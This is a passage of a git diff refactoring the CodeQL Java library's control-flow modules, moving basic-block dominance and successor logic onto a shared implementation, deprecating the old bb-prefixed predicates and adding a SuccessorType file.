successor of this node. */ + Node nodeGetASuccessor(Node node, SuccessorType t) { + result = getASpecificSuccessor(node, t) + or + node.getASuccessor() = result and + t instanceof NormalSuccessor and + not result = getASpecificSuccessor(node, _) + } - /** Gets the number of control-flow nodes contained in this basic block. */ - cached - int length() { - BasicBlockStage::ref() and - result = strictcount(this.getANode()) + /** + * Holds if `node` represents an entry node to be used when calculating + * dominance. + */ + predicate nodeIsDominanceEntry(Node node) { + exists(Stmt entrystmt | entrystmt = node.asStmt() | + exists(Callable c | entrystmt = c.getBody()) + or + // This disjunct is technically superfluous, but safeguards against extractor problems. + entrystmt instanceof BlockStmt and + not exists(entrystmt.getEnclosingCallable()) and + not entrystmt.getParent() instanceof Stmt + ) } - /** Holds if this basic block strictly dominates `node`. */ - predicate bbStrictlyDominates(BasicBlock node) { bbStrictlyDominates(this, node) } + /** + * Holds if `node` represents an exit node to be used when calculating + * post dominance. + */ + predicate nodeIsPostDominanceExit(Node node) { node instanceof ControlFlow::ExitNode } +} + +private module BbImpl = BB::Make; - /** Holds if this basic block dominates `node`. (This is reflexive.) */ - predicate bbDominates(BasicBlock node) { bbDominates(this, node) } +import BbImpl - /** Holds if this basic block strictly post-dominates `node`. */ - predicate bbStrictlyPostDominates(BasicBlock node) { bbStrictlyPostDominates(this, node) } +/** Holds if the dominance relation is calculated for `bb`. */ +predicate hasDominanceInformation(BasicBlock bb) { + exists(BasicBlock entry | + Input::nodeIsDominanceEntry(entry.getFirstNode()) and entry.getASuccessor*() = bb + ) +} - /** Holds if this basic block post-dominates `node`. (This is reflexive.) */ - predicate bbPostDominates(BasicBlock node) { bbPostDominates(this, node) } +/** + * A basic block, that is, a maximal straight-line sequence of control flow nodes + * without branches or joins. + */ +class BasicBlock extends BbImpl::BasicBlock { + /** Gets the immediately enclosing callable whose body contains this node. */ + Callable getEnclosingCallable() { result = this.getScope() } + + /** + * Holds if this basic block dominates basic block `bb`. + * + * That is, all paths reaching `bb` from the entry point basic block must + * go through this basic block. + */ + predicate dominates(BasicBlock bb) { super.dominates(bb) } + + /** + * DEPRECATED: Use `getASuccessor` instead. + * + * Gets an immediate successor of this basic block. + */ + deprecated BasicBlock getABBSuccessor() { result = this.getASuccessor() } + + /** + * DEPRECATED: Use `getAPredecessor` instead. + * + * Gets an immediate predecessor of this basic block. + */ + deprecated BasicBlock getABBPredecessor() { result.getASuccessor() = this } + + /** + * DEPRECATED: Use `strictlyDominates` instead. + * + * Holds if this basic block strictly dominates `node`. + */ + deprecated predicate bbStrictlyDominates(BasicBlock node) { this.strictlyDominates(node) } + + /** + * DEPRECATED: Use `dominates` instead. + * + * Holds if this basic block dominates `node`. (This is reflexive.) + */ + deprecated predicate bbDominates(BasicBlock node) { this.dominates(node) } + + /** + * DEPRECATED: Use `strictlyPostDominates` instead. + * + * Holds if this basic block strictly post-dominates `node`. + */ + deprecated predicate bbStrictlyPostDominates(BasicBlock node) { this.strictlyPostDominates(node) } + + /** + * DEPRECATED: Use `postDominates` instead. + * + * Holds if this basic block post-dominates `node`. (This is reflexive.) + */ + deprecated predicate bbPostDominates(BasicBlock node) { this.postDominates(node) } } /** A basic block that ends in an exit node. */ diff --git a/java/ql/lib/semmle/code/java/controlflow/Dominance.qll b/java/ql/lib/semmle/code/java/controlflow/Dominance.qll index 953bfa12e640..6f0cb3d255c5 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Dominance.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Dominance.qll @@ -8,91 +8,75 @@ import java * Predicates for basic-block-level dominance. */ -/** Entry points for control-flow. */ -private predicate flowEntry(BasicBlock entry) { - exists(Stmt entrystmt | entrystmt = entry.getFirstNode().asStmt() | - exists(Callable c | entrystmt = c.getBody()) - or - // This disjunct is technically superfluous, but safeguards against extractor problems. - entrystmt instanceof BlockStmt and - not exists(entry.getEnclosingCallable()) and - not entrystmt.getParent() instanceof Stmt - ) -} - -/** The successor relation for basic blocks. */ -private predicate bbSucc(BasicBlock pre, BasicBlock post) { post = pre.getABBSuccessor() } - -/** The immediate dominance relation for basic blocks. */ -cached -predicate bbIDominates(BasicBlock dom, BasicBlock node) = - idominance(flowEntry/1, bbSucc/2)(_, dom, node) - -/** Holds if the dominance relation is calculated for `bb`. */ -predicate hasDominanceInformation(BasicBlock bb) { - exists(BasicBlock entry | flowEntry(entry) and bbSucc*(entry, bb)) +/** + * DEPRECATED: Use `BasicBlock::immediatelyDominates` instead. + * + * The immediate dominance relation for basic blocks. + */ +deprecated predicate bbIDominates(BasicBlock dom, BasicBlock node) { + dom.immediatelyDominates(node) } /** Exit points for basic-block control-flow. */ private predicate bbSink(BasicBlock exit) { exit.getLastNode() instanceof ControlFlow::ExitNode } /** Reversed `bbSucc`. */ -private predicate bbPred(BasicBlock post, BasicBlock pre) { post = pre.getABBSuccessor() } +private predicate bbPred(BasicBlock post, BasicBlock pre) { post = pre.getASuccessor() } /** The immediate post-dominance relation on basic blocks. */ -cached -predicate bbIPostDominates(BasicBlock dominator, BasicBlock node) = +deprecated predicate bbIPostDominates(BasicBlock dominator, BasicBlock node) = idominance(bbSink/1, bbPred/2)(_, dominator, node) -/** Holds if `dom` strictly dominates `node`. */ -predicate bbStrictlyDominates(BasicBlock dom, BasicBlock node) { bbIDominates+(dom, node) } - -/** Holds if `dom` dominates `node`. (This is reflexive.) */ -predicate bbDominates(BasicBlock dom, BasicBlock node) { - bbStrictlyDominates(dom, node) or dom = node +/** + * DEPRECATED: Use `BasicBlock::strictlyDominates` instead. + * + * Holds if `dom` strictly dominates `node`. + */ +deprecated predicate bbStrictlyDominates(BasicBlock dom, BasicBlock node) { + dom.strictlyDominates(node) } -/** Holds if `dom` strictly post-dominates `node`. */ -predicate bbStrictlyPostDominates(BasicBlock dom, BasicBlock node) { bbIPostDominates+(dom, node) } +/** + * DEPRECATED: Use `BasicBlock::dominates` instead. + * + * Holds if `dom` dominates `node`. (This is reflexive.) + */ +deprecated predicate bbDominates(BasicBlock dom, BasicBlock node) { dom.dominates(node) } -/** Holds if `dom` post-dominates `node`. (This is reflexive.) */ -predicate bbPostDominates(BasicBlock dom, BasicBlock node) { - bbStrictlyPostDominates(dom, node) or dom = node +/** + * DEPRECATED: Use `BasicBlock::strictlyPostDominates` instead. + * + * Holds if `dom` strictly post-dominates `node`. + */ +deprecated predicate bbStrictlyPostDominates(BasicBlock dom, BasicBlock node) { + dom.strictlyPostDominates(node) } +/** + * DEPRECATED: Use `BasicBlock::postDominates` instead. + * + * Holds if `dom` post-dominates `node`. (This is reflexive.) + */ +deprecated predicate bbPostDominates(BasicBlock dom, BasicBlock node) { dom.postDominates(node) } + /** * The dominance frontier relation for basic blocks. * * This is equivalent to: * * ``` - * bbDominates(x, w.getABBPredecessor()) and not bbStrictlyDominates(x, w) + * x.dominates(w.getAPredecessor()) and not x.strictlyDominates(w) * ``` */ predicate dominanceFrontier(BasicBlock x, BasicBlock w) { - x = w.getABBPredecessor() and not bbIDominates(x, w) + x = w.getAPredecessor() and not x.immediatelyDominates(w) or exists(BasicBlock prev | dominanceFrontier(prev, w) | - bbIDominates(x, prev) and - not bbIDominates(x, w) + x.immediatelyDominates(prev) and + not x.immediatelyDominates(w) ) } -/** - * Holds if `(bb1, bb2)` is an edge that dominates `bb2`, that is, all other - * predecessors of `bb2` are dominated by `bb2`. This implies that `bb1` is the - * immediate dominator of `bb2`. - * - * This is a necessary and sufficient condition for an edge to dominate anything, - * and in particular `dominatingEdge(bb1, bb2) and bb2.bbDominates(bb3)` means - * that the edge `(bb1, bb2)` dominates `bb3`. - */ -predicate dominatingEdge(BasicBlock bb1, BasicBlock bb2) { - bbIDominates(bb1, bb2) and - bb1.getABBSuccessor() = bb2 and - forall(BasicBlock pred | pred = bb2.getABBPredecessor() and pred != bb1 | bbDominates(bb2, pred)) -} - /* * Predicates for expression-level dominance. */ @@ -102,7 +86,7 @@ predicate iDominates(ControlFlowNode dominator, ControlFlowNode node) { exists(BasicBlock bb, int i | dominator = bb.getNode(i) and node = bb.getNode(i + 1)) or exists(BasicBlock dom, BasicBlock bb | - bbIDominates(dom, bb) and + dom.immediatelyDominates(bb) and dominator = dom.getLastNode() and node = bb.getFirstNode() ) @@ -112,7 +96,7 @@ predicate iDominates(ControlFlowNode dominator, ControlFlowNode node) { pragma[inline] predicate strictlyDominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i < j) } @@ -121,7 +105,7 @@ predicate strictlyDominates(ControlFlowNode dom, ControlFlowNode node) { pragma[inline] predicate dominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i <= j) } @@ -130,7 +114,7 @@ predicate dominates(ControlFlowNode dom, ControlFlowNode node) { pragma[inline] predicate strictlyPostDominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyPostDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyPostDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i > j) } @@ -139,7 +123,7 @@ predicate strictlyPostDominates(ControlFlowNode dom, ControlFlowNode node) { pragma[inline] predicate postDominates(ControlFlowNode dom, ControlFlowNode node) { // This predicate is gigantic, so it must be inlined. - bbStrictlyPostDominates(dom.getBasicBlock(), node.getBasicBlock()) + dom.getBasicBlock().strictlyPostDominates(node.getBasicBlock()) or exists(BasicBlock b, int i, int j | dom = b.getNode(i) and node = b.getNode(j) and i >= j) } diff --git a/java/ql/lib/semmle/code/java/controlflow/Guards.qll b/java/ql/lib/semmle/code/java/controlflow/Guards.qll index ff564b3a4469..4042e7b29624 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Guards.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Guards.qll @@ -23,7 +23,7 @@ class ConditionBlock extends BasicBlock { /** Gets a `true`- or `false`-successor of the last node of this basic block. */ BasicBlock getTestSuccessor(boolean testIsTrue) { - result = this.getConditionNode().getABranchSuccessor(testIsTrue) + result.getFirstNode() = this.getConditionNode().getABranchSuccessor(testIsTrue) } /* @@ -68,7 +68,7 @@ class ConditionBlock extends BasicBlock { exists(BasicBlock succ | succ = this.getTestSuccessor(testIsTrue) and dominatingEdge(this, succ) and - succ.bbDominates(controlled) + succ.dominates(controlled) ) } } @@ -145,7 +145,7 @@ private predicate isNonFallThroughPredecessor(SwitchCase sc, ControlFlowNode pre * Evaluating a switch case to true corresponds to taking that switch case, and * evaluating it to false corresponds to taking some other branch. */ -class Guard extends ExprParent { +final class Guard extends ExprParent { Guard() { this.(Expr).getType() instanceof BooleanType and not this instanceof BooleanLiteral or @@ -272,6 +272,15 @@ class Guard extends ExprParent { preconditionControls(this, controlled, branch) } + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + guardControlsBranchEdge_v3(this, bb1, bb2, branch) + } + /** * Holds if this guard evaluating to `branch` directly or indirectly controls * the block `controlled`. That is, the evaluation of `controlled` is @@ -287,7 +296,7 @@ private predicate switchCaseControls(SwitchCase sc, BasicBlock bb) { // Pattern cases are handled as condition blocks not sc instanceof PatternCase and caseblock.getFirstNode() = sc.getControlFlowNode() and - caseblock.bbDominates(bb) and + caseblock.dominates(bb) and // Check we can't fall through from a previous block: forall(ControlFlowNode pred | pred = sc.getControlFlowNode().getAPredecessor() | isNonFallThroughPredecessor(sc, pred) @@ -300,14 +309,14 @@ private predicate preconditionBranchEdge( ) { conditionCheckArgument(ma, _, branch) and bb1.getLastNode() = ma.getControlFlowNode() and - bb2 = bb1.getLastNode().getANormalSuccessor() + bb2.getFirstNode() = bb1.getLastNode().getANormalSuccessor() } private predicate preconditionControls(MethodCall ma, BasicBlock controlled, boolean branch) { exists(BasicBlock check, BasicBlock succ | preconditionBranchEdge(ma, check, succ, branch) and dominatingEdge(check, succ) and - succ.bbDominates(controlled) + succ.dominates(controlled) ) } @@ -351,6 +360,51 @@ private predicate guardControls_v3(Guard guard, BasicBlock controlled, boolean b ) } +pragma[nomagic] +private predicate guardControlsBranchEdge_v2( + Guard guard, BasicBlock bb1, BasicBlock bb2, boolean branch +) { + guard.hasBranchEdge(bb1, bb2, branch) + or + exists(Guard g, boolean b | + guardControlsBranchEdge_v2(g, bb1, bb2, b) and + implies_v2(g, b, guard, branch) + ) +} + +pragma[nomagic] +private predicate guardControlsBranchEdge_v3( + Guard guard, BasicBlock bb1, BasicBlock bb2, boolean branch +) { + guard.hasBranchEdge(bb1, bb2, branch) + or + exists(Guard g, boolean b | + guardControlsBranchEdge_v3(g, bb1, bb2, b) and + implies_v3(g, b, guard, branch) + ) +} + +/** INTERNAL: Use `Guard` instead. */ +final class Guard_v2 extends Guard { + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + guardControlsBranchEdge_v2(this, bb1, bb2, branch) + } + + /** + * Holds if this guard evaluating to `branch` directly or indirectly controls + * the block `controlled`. That is, the evaluation of `controlled` is + * dominated by this guard evaluating to `branch`. + */ + predicate controls(BasicBlock controlled, boolean branch) { + guardControls_v2(this, controlled, branch) + } +} + private predicate equalityGuard(Guard g, Expr e1, Expr e2, boolean polarity) { exists(EqualityTest eqtest | eqtest = g and diff --git a/java/ql/lib/semmle/code/java/controlflow/Paths.qll b/java/ql/lib/semmle/code/java/controlflow/Paths.qll index 5a06a3a1ee5d..8f87e19404a6 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Paths.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Paths.qll @@ -47,7 +47,7 @@ private predicate callAlwaysPerformsAction(Call call, ActionConfiguration conf) private predicate actionDominatesExit(Callable callable, ActionConfiguration conf) { exists(ExitBlock exit | exit.getEnclosingCallable() = callable and - actionBlock(conf).bbDominates(exit) + actionBlock(conf).dominates(exit) ) } @@ -56,12 +56,12 @@ private BasicBlock nonDominatingActionBlock(ActionConfiguration conf) { exists(ExitBlock exit | result = actionBlock(conf) and exit.getEnclosingCallable() = result.getEnclosingCallable() and - not result.bbDominates(exit) + not result.dominates(exit) ) } private class JoinBlock extends BasicBlock { - JoinBlock() { 2 <= strictcount(this.getABBPredecessor()) } + JoinBlock() { 2 <= strictcount(this.getAPredecessor()) } } /** @@ -72,8 +72,8 @@ private predicate postActionBlock(BasicBlock bb, ActionConfiguration conf) { bb = nonDominatingActionBlock(conf) or if bb instanceof JoinBlock - then forall(BasicBlock pred | pred = bb.getABBPredecessor() | postActionBlock(pred, conf)) - else postActionBlock(bb.getABBPredecessor(), conf) + then forall(BasicBlock pred | pred = bb.getAPredecessor() | postActionBlock(pred, conf)) + else postActionBlock(bb.getAPredecessor(), conf) } /** Holds if every path through `callable` goes through at least one action node. */ diff --git a/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll b/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll new file mode 100644 index 000000000000..f03e4690a95a --- /dev/null +++ b/java/ql/lib/semmle/code/java/controlflow/SuccessorType.qll @@ -0,0 +1,72 @@ +/** + * Provides different types of control flow successor types. + */ + +import java +private import codeql.util.Boolean + +private newtype TSuccessorType = + TNormalSuccessor() or + TBooleanSuccessor(Boolean branch) or + TExceptionSuccessor() + +/** The type of a control flow successor. */ +class SuccessorType extends TSuccessorType { + /** Gets a textual representation of successor type. */ + string toString() { result = "SuccessorType" } +} + +/** A normal control flow successor. */ +class NormalSuccessor extends SuccessorType, TNormalSuccessor { } + +/** + * An exceptional control flow successor. + * + * This marks control flow edges that are taken when an exception is thrown. + */ +class ExceptionSuccessor extends SuccessorType, TExceptionSuccessor { } + +/** + * A conditional control flow successor. + * + * This currently only includes boolean successors (`BooleanSuccessor`). + */ +class ConditionalSuccessor extends SuccessorType, TBooleanSuccessor { + /** Gets the Boolean value of this successor. */ + boolean getValue() { this = TBooleanSuccessor(result) } +} + +/** + * A Boolean control flow successor. + * + * For example, this program fragment: + * + * ```java + * if (x < 0) + * return 0; + * else + * return 1; + * ``` + * + * has a control flow graph containing Boolean successors: + * + * ``` + * if + * | + * x < 0 + * / \ + * / \ + * / \ + * true false + * | \ + * return 0 return 1 + * ``` + */ +class BooleanSuccessor = ConditionalSuccessor; + +/** + * A nullness control flow successor. This is currently unused for Java. + */ +class NullnessSuccessor extends ConditionalSuccessor { + NullnessSuccessor() { none() } +} diff --git a/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll index 7bcc732de6a0..0ade780bc00c 100644 --- a/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll @@ -209,7 +209,7 @@ class UnreachableBasicBlock extends BasicBlock { or // This block is not reachable in the CFG, and is not the entrypoint in a callable, an // expression in an assert statement, or a catch clause. - forall(BasicBlock bb | bb = this.getABBPredecessor() | bb instanceof UnreachableBasicBlock) and + forall(BasicBlock bb | bb = this.getAPredecessor() | bb instanceof UnreachableBasicBlock) and not exists(Callable c | c.getBody().getControlFlowNode() = this.getFirstNode()) and not this.getFirstNode().asExpr().getEnclosingStmt() instanceof AssertStmt and not this.getFirstNode().asStmt() instanceof CatchClause @@ -219,11 +219,10 @@ class UnreachableBasicBlock extends BasicBlock { // Not accessible from the switch expression unreachableCaseBlock = constSwitchStmt.getAFailingCase().getBasicBlock() and // Not accessible from the successful case - not constSwitchStmt.getMatchingCase().getBasicBlock().getABBSuccessor*() = - unreachableCaseBlock + not constSwitchStmt.getMatchingCase().getBasicBlock().getASuccessor*() = unreachableCaseBlock | // Blocks dominated by an unreachable case block are unreachable - unreachableCaseBlock.bbDominates(this) + unreachableCaseBlock.dominates(this) ) } } diff --git a/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll b/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll index 9fed7516ba31..4cb3bc74f97f 100644 --- a/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll +++ b/java/ql/lib/semmle/code/java/controlflow/internal/GuardsLogic.qll @@ -239,7 +239,7 @@ SsaVariable getADefinition(SsaVariable v, boolean fromBackEdge) { exists(SsaVariable inp, BasicBlock bb, boolean fbe | v.(SsaPhiNode).hasInputFromBlock(inp, bb) and result = getADefinition(inp, fbe) and - (if v.getBasicBlock().bbDominates(bb) then fromBackEdge = true else fromBackEdge = fbe) + (if v.getBasicBlock().dominates(bb) then fromBackEdge = true else fromBackEdge = fbe) ) } @@ -290,10 +290,10 @@ private predicate guardImpliesEqual(Guard guard, boolean branch, SsaVariable v, ) } -private ControlFlowNode getAGuardBranchSuccessor(Guard g, boolean branch) { - result = g.(Expr).getControlFlowNode().(ConditionNode).getABranchSuccessor(branch) +private BasicBlock getAGuardBranchSuccessor(Guard g, boolean branch) { + result.getFirstNode() = g.(Expr).getControlFlowNode().(ConditionNode).getABranchSuccessor(branch) or - result = g.(SwitchCase).getControlFlowNode() and branch = true + result.getFirstNode() = g.(SwitchCase).getControlFlowNode() and branch = true } /** @@ -306,7 +306,7 @@ private predicate guardControlsPhiBranch( guard.directlyControls(upd.getBasicBlock(), branch) and upd.getDefiningExpr().(VariableAssign).getSource() = e and upd = phi.getAPhiInput() and - guard.getBasicBlock().bbStrictlyDominates(phi.getBasicBlock()) + guard.getBasicBlock().strictlyDominates(phi.getBasicBlock()) } /** @@ -331,7 +331,7 @@ private predicate conditionalAssign(SsaVariable v, Guard guard, boolean branch, forall(SsaVariable other | other != upd and other = phi.getAPhiInput() | guard.directlyControls(other.getBasicBlock(), branch.booleanNot()) or - other.getBasicBlock().bbDominates(guard.getBasicBlock()) and + other.getBasicBlock().dominates(guard.getBasicBlock()) and not other.isLiveAtEndOfBlock(getAGuardBranchSuccessor(guard, branch)) ) ) diff --git a/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll b/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll index 5b2a39ad6c9e..3e5a45da247d 100644 --- a/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll +++ b/java/ql/lib/semmle/code/java/dataflow/ModulusAnalysis.qll @@ -17,7 +17,7 @@ private predicate valueFlowStepSsa(SsaVariable v, SsaReadPosition pos, Expr e, i exists(Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = eqFlowCond(v, e, delta, true, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) + guardControlsSsaRead(guard, pos, testIsTrue) ) } diff --git a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll index 17f1b4ae7021..786207d34865 100644 --- a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll +++ b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll @@ -298,9 +298,9 @@ private predicate impossibleEdge(BasicBlock bb1, BasicBlock bb2) { private predicate leavingFinally(BasicBlock bb1, BasicBlock bb2, boolean normaledge) { exists(TryStmt try, BlockStmt finally | try.getFinally() = finally and - bb1.getABBSuccessor() = bb2 and - bb1.getEnclosingStmt().getEnclosingStmt*() = finally and - not bb2.getEnclosingStmt().getEnclosingStmt*() = finally and + bb1.getASuccessor() = bb2 and + bb1.getFirstNode().getEnclosingStmt().getEnclosingStmt*() = finally and + not bb2.getFirstNode().getEnclosingStmt().getEnclosingStmt*() = finally and if bb1.getLastNode().getANormalSuccessor() = bb2.getFirstNode() then normaledge = true else normaledge = false @@ -339,7 +339,7 @@ private predicate nullVarStep( midssa.isLiveAtEndOfBlock(mid) and not ensureNotNull(midssa).getBasicBlock() = mid and not assertFail(mid, _) and - bb = mid.getABBSuccessor() and + bb = mid.getASuccessor() and not impossibleEdge(mid, bb) and not exists(boolean branch | nullGuard(midssa, branch, false).hasBranchEdge(mid, bb, branch)) and not (leavingFinally(mid, bb, true) and midstoredcompletion = true) and diff --git a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll index b67dc2ba08de..64f68b9c075a 100644 --- a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll +++ b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll @@ -209,26 +209,20 @@ module Sem implements Semantic { class BasicBlock = J::BasicBlock; - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getABBSuccessor() } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() } private predicate id(ExprParent x, ExprParent y) { x = y } private predicate idOfAst(ExprParent x, int y) = equivalenceRelation(id/2)(x, y) - private predicate idOf(BasicBlock x, int y) { idOfAst(x.getAstNode(), y) } + private predicate idOf(BasicBlock x, int y) { idOfAst(x.getFirstNode().getAstNode(), y) } int getBlockId1(BasicBlock bb) { idOf(bb, result) } - final private class FinalGuard = GL::Guard; - - class Guard extends FinalGuard { + class Guard extends GL::Guard_v2 { Expr asExpr() { result = this } } - predicate implies_v2(Guard g1, boolean b1, Guard g2, boolean b2) { - GL::implies_v2(g1, b1, g2, b2) - } - class Type = J::Type; class IntegerType extends J::IntegralType { diff --git a/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll b/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll index e96d591ced54..444fec8f8659 100644 --- a/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll +++ b/java/ql/lib/semmle/code/java/dataflow/RangeUtils.qll @@ -19,8 +19,6 @@ predicate ssaUpdateStep = U::ssaUpdateStep/3; predicate valueFlowStep = U::valueFlowStep/3; -predicate guardDirectlyControlsSsaRead = U::guardDirectlyControlsSsaRead/3; - predicate guardControlsSsaRead = U::guardControlsSsaRead/3; predicate eqFlowCond = U::eqFlowCond/5; diff --git a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll index d29cc1ae5421..f2fcbc5951d4 100644 --- a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll +++ b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll @@ -321,14 +321,14 @@ private module Input implements TypeFlowInput { */ private predicate instanceofDisjunct(InstanceOfExpr ioe, BasicBlock bb, BaseSsaVariable v) { ioe.getExpr() = v.getAUse() and - strictcount(bb.getABBPredecessor()) > 1 and + strictcount(bb.getAPredecessor()) > 1 and exists(ConditionBlock cb | cb.getCondition() = ioe and cb.getTestSuccessor(true) = bb) } /** Holds if `bb` is disjunctively guarded by multiple `instanceof` tests on `v`. */ private predicate instanceofDisjunction(BasicBlock bb, BaseSsaVariable v) { strictcount(InstanceOfExpr ioe | instanceofDisjunct(ioe, bb, v)) = - strictcount(bb.getABBPredecessor()) + strictcount(bb.getAPredecessor()) } /** @@ -338,7 +338,7 @@ private module Input implements TypeFlowInput { predicate instanceofDisjunctionGuarded(TypeFlowNode n, RefType t) { exists(BasicBlock bb, InstanceOfExpr ioe, BaseSsaVariable v, VarAccess va | instanceofDisjunction(bb, v) and - bb.bbDominates(va.getBasicBlock()) and + bb.dominates(va.getBasicBlock()) and va = v.getAUse() and instanceofDisjunct(ioe, bb, v) and t = ioe.getSyntacticCheckedType() and diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll index eeac19e66a74..874aca871832 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll @@ -145,7 +145,7 @@ private module BaseSsaImpl { /** Holds if `v` has an implicit definition at the entry, `b`, of the callable. */ predicate hasEntryDef(BaseSsaSourceVariable v, BasicBlock b) { exists(LocalScopeVariable l, Callable c | - v = TLocalVar(c, l) and c.getBody().getControlFlowNode() = b + v = TLocalVar(c, l) and c.getBody().getBasicBlock() = b | l instanceof Parameter or l.getCallable() != c @@ -157,15 +157,14 @@ private import BaseSsaImpl private module SsaInput implements SsaImplCommon::InputSig { private import java as J - private import semmle.code.java.controlflow.Dominance as Dom class BasicBlock = J::BasicBlock; class ControlFlowNode = J::ControlFlowNode; - BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { Dom::bbIDominates(result, bb) } + BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { result.immediatelyDominates(bb) } - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getABBSuccessor() } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() } class SourceVariable = BaseSsaSourceVariable; diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll index d1df53a8a859..9e924df12780 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll @@ -83,12 +83,12 @@ private module CaptureInput implements VariableCapture::InputSig { class ControlFlowNode = J::ControlFlowNode; - BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { bbIDominates(result, bb) } - - BasicBlock getABasicBlockSuccessor(BasicBlock bb) { - result = bb.(J::BasicBlock).getABBSuccessor() + BasicBlock getImmediateBasicBlockDominator(BasicBlock bb) { + result.(J::BasicBlock).immediatelyDominates(bb) } + BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.(J::BasicBlock).getASuccessor() } + //TODO: support capture of `this` in lambdas class CapturedVariable instanceof LocalScopeVariable { CapturedVariable() { diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll index e87c92f3d6c5..6000c37c6cdd 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll @@ -40,14 +40,14 @@ private module ThisFlow { private int lastRank(BasicBlock b) { result = max(int rankix | thisRank(_, b, rankix)) } - private predicate blockPrecedesThisAccess(BasicBlock b) { thisAccess(_, b.getABBSuccessor*(), _) } + private predicate blockPrecedesThisAccess(BasicBlock b) { thisAccess(_, b.getASuccessor*(), _) } private predicate thisAccessBlockReaches(BasicBlock b1, BasicBlock b2) { - thisAccess(_, b1, _) and b2 = b1.getABBSuccessor() + thisAccess(_, b1, _) and b2 = b1.getASuccessor() or exists(BasicBlock mid | thisAccessBlockReaches(b1, mid) and - b2 = mid.getABBSuccessor() and + b2 = mid.getASuccessor() and not thisAccess(_, mid, _) and blockPrecedesThisAccess(b2) ) diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index b5a42a975699..2a1ea8b0e068 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -144,13 +144,13 @@ private predicate 